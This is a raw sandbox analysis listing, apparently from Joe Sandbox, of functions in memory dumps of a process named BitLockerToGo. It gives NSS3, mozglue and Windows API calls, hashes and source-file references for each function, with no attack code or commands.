Instruction ID: 4b33e74a8d73952baa1f15fc11e52287423b5446e2fa13fbb5a76ab6311a513d
Opcode Fuzzy Hash: be7300625078fff3916dfad94f6982fed7af0e56c0f56f8017d39abc535bf911
Instruction Fuzzy Hash: 7B2102306003059BC3208E5DCA41B5AB7F2BF80349F148D2CD84AABF55E372F94687A2

Function 6C9DCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C9DCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C9DCC7B), ref: 6C9DCD7A
Part of subcall function 6C9DCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C9DCD8E
Part of subcall function 6C9DCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C9DCDA5
Part of subcall function 6C9DCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C9DCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C9DCCB5
memcpy.VCRUNTIME140(6CA714F4,6CA702AC,00000090), ref: 6C9DCCD3
memcpy.VCRUNTIME140(6CA71588,6CA702AC,00000090), ref: 6C9DCD2B

Part of subcall function 6C8F9AC0: socket.WSOCK32(?,00000017,6C8F99BE), ref: 6C8F9AE6
Part of subcall function 6C8F9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C8F99BE), ref: 6C8F9AFC

Part of subcall function 6C900590: closesocket.WSOCK32(6C8F9A8F,?,?,6C8F9A8F,00000000), ref: 6C900597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C9DCCB0

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 02048f4653853a9f9ce99584df64dcf7f9502850713d7be9d9f3ad8c8e315e75
Instruction ID: 19e024a4d8fd6c8aea3c2b4e2c79a081a882536b859197bde4fdfd2fe8a28638
Opcode Fuzzy Hash: 02048f4653853a9f9ce99584df64dcf7f9502850713d7be9d9f3ad8c8e315e75
Instruction Fuzzy Hash: 5B11C3F9B003715EDB198F6D9817B623AF8B316218F089129E70DDBB40E635C48647F1

Function 6C840C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C840CD5

Part of subcall function 6C82F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C82F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C840D40
free.MOZGLUE ref: 6C840DCB

Part of subcall function 6C815E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C815EDB
Part of subcall function 6C815E90: memset.VCRUNTIME140(6C857765,000000E5,55CCCCCC), ref: 6C815F27
Part of subcall function 6C815E90: LeaveCriticalSection.KERNEL32(?), ref: 6C815FB2

free.MOZGLUE ref: 6C840DDD
free.MOZGLUE ref: 6C840DF2

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 640c7d8cfad0a948cbf104cda75287c41a52a2a2a430dc8ac1bf7ccdbe0b94ea
Instruction ID: 6b223cdf3ff0dc7347989780d6ff2249cd460cb5ef358d9ec34b301f28d90746
Opcode Fuzzy Hash: 640c7d8cfad0a948cbf104cda75287c41a52a2a2a430dc8ac1bf7ccdbe0b94ea
Instruction Fuzzy Hash: 5C4106719087848BD730CF29C28079BFBE5BFD9614F518A2EE8D887B51D7709548CB92

Function 6C84CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C83DA31,00100000,?,?,00000000,?), ref: 6C84CDA4

Part of subcall function 6C80CA10: malloc.MOZGLUE(?), ref: 6C80CA26

Part of subcall function 6C84D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C84CDBA,00100000,?,00000000,?,6C83DA31,00100000,?,?,00000000,?), ref: 6C84D158
Part of subcall function 6C84D130: InitializeConditionVariable.KERNEL32(00000098,?,6C84CDBA,00100000,?,00000000,?,6C83DA31,00100000,?,?,00000000,?), ref: 6C84D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C83DA31,00100000,?,?,00000000,?), ref: 6C84CDC4

Part of subcall function 6C847480: ReleaseSRWLockExclusive.KERNEL32(?,6C8515FC,?,?,?,?,6C8515FC,?), ref: 6C8474EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C83DA31,00100000,?,?,00000000,?), ref: 6C84CECC

Part of subcall function 6C80CA10: mozalloc_abort.MOZGLUE(?), ref: 6C80CAA2

Part of subcall function 6C83CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C84CEEA,?,?,?,?,00000000,?,6C83DA31,00100000,?,?,00000000), ref: 6C83CB57
Part of subcall function 6C83CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C83CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C84CEEA,?,?), ref: 6C83CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C83DA31,00100000,?,?,00000000,?), ref: 6C84D058

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: e627bb4813b9ad9d1afad87619a4017ac6b9aafeea007a36cbab70c8455060ea
Instruction ID: 5e9c09853ec4c143c88dc51497e5ee24e29f5b502984b70fb21274f4b48f42f9
Opcode Fuzzy Hash: e627bb4813b9ad9d1afad87619a4017ac6b9aafeea007a36cbab70c8455060ea
Instruction Fuzzy Hash: B3D17171A04B469FD718CF28C580799F7E1BF99308F018A2DD85987712EB71E9A5CBC1

Function 6C815C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C815D40
EnterCriticalSection.KERNEL32(6C87F688), ref: 6C815D67
__aulldiv.LIBCMT ref: 6C815DB4
LeaveCriticalSection.KERNEL32(6C87F688), ref: 6C815DED

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 484c02619ae84f9191f7f570674447f18ed104c1204544f6cc6a180377c54108
Instruction ID: 73858fdc1c0de2ca49d0058051b95a29109e6cd0a893e096729b482e5ff32325
Opcode Fuzzy Hash: 484c02619ae84f9191f7f570674447f18ed104c1204544f6cc6a180377c54108
Instruction Fuzzy Hash: CB515071E0422A8FCF29CF69C958AAEB7B1FB55308F194A29D811A7B50D7306D45CBE0

Function 6C7FCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7FCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C7FCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C7FCF4E

Strings

0, xrefs: 6C7FCF30

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0287a598e04f778db4bec32e75e5f40f885ea49f5e318db116d0d8ff622624cc
Instruction ID: 3b29af0f3732a63476b81d04f83dfe91de0fc0efd8798e5ab0dc3e25b292b01f
Opcode Fuzzy Hash: 0287a598e04f778db4bec32e75e5f40f885ea49f5e318db116d0d8ff622624cc
Instruction Fuzzy Hash: A051F276A002568FCB10CF18C490AAAFBA5EF99304F1985ADD8595F752D731AD06CBE0

Function 6C916C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C916C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C916CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C916CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CA38FE0), ref: 6C916CFE

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 5baf8dd862cf0337621d920a2a210c8d5695710a69952acf9b704c26a24a69bb
Instruction ID: 51258ad5a84a189b5665bfd68484339cf63f6d5d05f4abe94db34c2219221c8b
Opcode Fuzzy Hash: 5baf8dd862cf0337621d920a2a210c8d5695710a69952acf9b704c26a24a69bb
Instruction Fuzzy Hash: 893170B5E0521A9FDB04CF65C852ABFBBF9EB55248B10442DD905D7B40EB31D905CBA0

Function 6C836470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C8382BC,?,?), ref: 6C83649B

Part of subcall function 6C80CA10: malloc.MOZGLUE(?), ref: 6C80CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8364A9

Part of subcall function 6C82FA80: GetCurrentThreadId.KERNEL32 ref: 6C82FA8D
Part of subcall function 6C82FA80: AcquireSRWLockExclusive.KERNEL32(6C87F448), ref: 6C82FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C83653F
free.MOZGLUE(?), ref: 6C83655A

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 2537303c6362104453506b40d6223bc78ac3f08c3b4067fbfe49160d18e8c47d
Instruction ID: 9bde2f6bd1c7e362602e41df21a3ed2e77feb0f4254ec9d0727f9abb00474591
Opcode Fuzzy Hash: 2537303c6362104453506b40d6223bc78ac3f08c3b4067fbfe49160d18e8c47d
Instruction Fuzzy Hash: A83161B5A043159FD710CF18D98469EBBE4BF89314F10483EE85A97741DB34E919CBD2

Function 6C986DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C986E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C986E57

Part of subcall function 6C9BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C9BC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C986E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C986EAA

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: bfd119d6b8af82c85c22f5ca7011f537ba2ceea0dc360c5cc2c2bc5b22de8a22
Instruction ID: 7cb223104cbb7e9a6e37181245afa3b2943426613da390be474db52b65b826b2
Opcode Fuzzy Hash: bfd119d6b8af82c85c22f5ca7011f537ba2ceea0dc360c5cc2c2bc5b22de8a22
Instruction Fuzzy Hash: 0931A531632A16EFDB145F34DD043A6B7A8AB1131AF104A3CD499DBA42EB31F564CFA1

Function 6C982DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C982E08

Part of subcall function 6C9714C0: TlsGetValue.KERNEL32 ref: 6C9714E0
Part of subcall function 6C9714C0: EnterCriticalSection.KERNEL32 ref: 6C9714F5
Part of subcall function 6C9714C0: PR_Unlock.NSS3 ref: 6C97150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C982E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C982E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C982E95

Part of subcall function 6C971200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C9188A4,00000000,00000000), ref: 6C971228
Part of subcall function 6C971200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C971238
Part of subcall function 6C971200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C9188A4,00000000,00000000), ref: 6C97124B
Part of subcall function 6C971200: PR_CallOnce.NSS3(6CA72AA4,6C9712D0,00000000,00000000,00000000,?,6C9188A4,00000000,00000000), ref: 6C97125D
Part of subcall function 6C971200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C97126F
Part of subcall function 6C971200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C971280
Part of subcall function 6C971200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C97128E
Part of subcall function 6C971200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C97129A
Part of subcall function 6C971200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C9712A1

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 08869fb2fe5ada27cdbb667d9fe2d802c0c6a0a5d88ce0ff290befd466641404
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 1421D4B1D027454BE710CF549D48BAA3768AFB130CF110669DD086B753F7B1E69882B6

Function 6C93ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C93ACC2

Part of subcall function 6C912F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C912F0A
Part of subcall function 6C912F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C912F1D

Part of subcall function 6C912AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C910A1B,00000000), ref: 6C912AF0
Part of subcall function 6C912AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C912B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C93AD5E

Part of subcall function 6C9557D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C91B41E,00000000,00000000,?,00000000,?,6C91B41E,00000000,00000000,00000001,?), ref: 6C9557E0
Part of subcall function 6C9557D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C955843

CERT_DestroyCertList.NSS3(?), ref: 6C93AD36

Part of subcall function 6C912F50: CERT_DestroyCertificate.NSS3(?), ref: 6C912F65
Part of subcall function 6C912F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C912F83

free.MOZGLUE(?), ref: 6C93AD4F

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: a753bf648f819d2711049875290816c68527faf898a49db4dc2c072f3383b09f
Instruction ID: 88e9d7062f2c873e6e351d65f508a7f9910b1d04357db009e60a42fb238bca54
Opcode Fuzzy Hash: a753bf648f819d2711049875290816c68527faf898a49db4dc2c072f3383b09f
Instruction Fuzzy Hash: 9C21C6B1D002288BEF11DFA4D8055EEB7B4EF25208F459068D8197B710FB31EA55CBA1

Function 6C96ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C96F0AD,6C96F150,?,6C96F150,?,?,?), ref: 6C96ECBA

Part of subcall function 6C970FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9187ED,00000800,6C90EF74,00000000), ref: 6C971000
Part of subcall function 6C970FF0: PR_NewLock.NSS3(?,00000800,6C90EF74,00000000), ref: 6C971016
Part of subcall function 6C970FF0: PL_InitArenaPool.NSS3(00000000,security,6C9187ED,00000008,?,00000800,6C90EF74,00000000), ref: 6C97102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C96ECD1

Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C9710F3
Part of subcall function 6C9710C0: EnterCriticalSection.KERNEL32(?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97110C
Part of subcall function 6C9710C0: PL_ArenaAllocate.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971141
Part of subcall function 6C9710C0: PR_Unlock.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971182
Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C96ED02

Part of subcall function 6C9710C0: PL_ArenaAllocate.NSS3(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C96ED5A

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: a9cedf248f1b2fd2a96d375b5c292df7420bbd29d13cbc215d4f00dc648c1e15
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 57219FB1A017429BE700CF26DD54B52B7E4BFA5348F25C219A81C87AA1FB70E594C6E0

Function 6C99EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C987FFA,?,6C989767,?,8B7874C0,0000A48E), ref: 6C99EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C987FFA,?,6C989767,?,8B7874C0,0000A48E), ref: 6C99EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C987FFA,?,6C989767,?,8B7874C0,0000A48E), ref: 6C99EE14

Part of subcall function 6C970BE0: malloc.MOZGLUE(6C968D2D,?,00000000,?), ref: 6C970BF8
Part of subcall function 6C970BE0: TlsGetValue.KERNEL32(6C968D2D,?,00000000,?), ref: 6C970C15

memcpy.VCRUNTIME140(?,?,6C989767,00000000,00000000,6C987FFA,?,6C989767,?,8B7874C0,0000A48E), ref: 6C99EE33

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 7fb2d5fef29f1f5a7e0d5e6b48bff22a551c65b9b311997a83f837b0acae658d
Instruction ID: 9441a41b524af3f70b2471a5dc5361e83b37d547fd24a48319b2cd447dc3cb78
Opcode Fuzzy Hash: 7fb2d5fef29f1f5a7e0d5e6b48bff22a551c65b9b311997a83f837b0acae658d
Instruction Fuzzy Hash: 1011C2B1A00706ABEB109EA5DC84B16B3ACFF1435DF284535E919C2A00E331F8A4C7E1

Function 6C80B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C80B4F5
AcquireSRWLockExclusive.KERNEL32(6C87F4B8), ref: 6C80B502
ReleaseSRWLockExclusive.KERNEL32(6C87F4B8), ref: 6C80B542
free.MOZGLUE(?), ref: 6C80B578

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
